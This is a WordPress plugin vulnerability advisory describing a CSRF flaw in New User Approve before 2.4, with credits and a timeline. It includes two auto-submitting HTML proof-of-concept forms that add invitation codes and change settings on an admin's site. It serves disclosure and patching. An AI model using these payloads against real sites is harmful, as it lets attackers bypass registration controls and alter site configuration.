WordPress Plugin Vulnerabilities

New User Approve < 2.4 - Arbitrary Settings Update & Invitation Code Creation via CSRF

Description

The plugin does not have CSRF check in place when updating its settings and adding invitation codes, which could allow attackers to add invitation codes (for bypassing the provided restrictions) and to change plugin settings by tricking admin users into visiting specially crafted websites.

Proof of Concept

Add codes:
<form id="test" action="https://example.com/wp-admin/admin.php?page=nua-invitation-code" method="POST">
    <textarea name="nua_manual_add[codes]">test
sesame-open
let-me-in
</textarea>
    <input type="text" name="nua_manual_add[usage_limit]" value="99">
    <input type="text" name="nua_manual_add[expiry_date]" value="2022-04-30">
    <input type="text" name="nua_manual_add[submit]" value="Save Changes">
</form>
<script>
    document.getElementById("test").submit();
</script>


Update Settings:
<form id="test" action="https://example.com/wp-admin/admin.php?page=nua-invitation-code&action=Settings" method="POST">
    <input type="text" name="nua_free_invitation" value="enable">
    <input type="text" name="nua_inv_code_submit" value="Save Changes">
</form>
<script>
    document.getElementById("test").submit();
</script>

Affects Plugins

Fixed in 2.4

References

Classification

Miscellaneous

Original Researcher
Daniel Ruf
Submitter
Daniel Ruf
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-06-01 (about 1 years ago)
Added
2022-06-01 (about 1 years ago)
Last Updated
2023-02-28 (about 1 years ago)

Other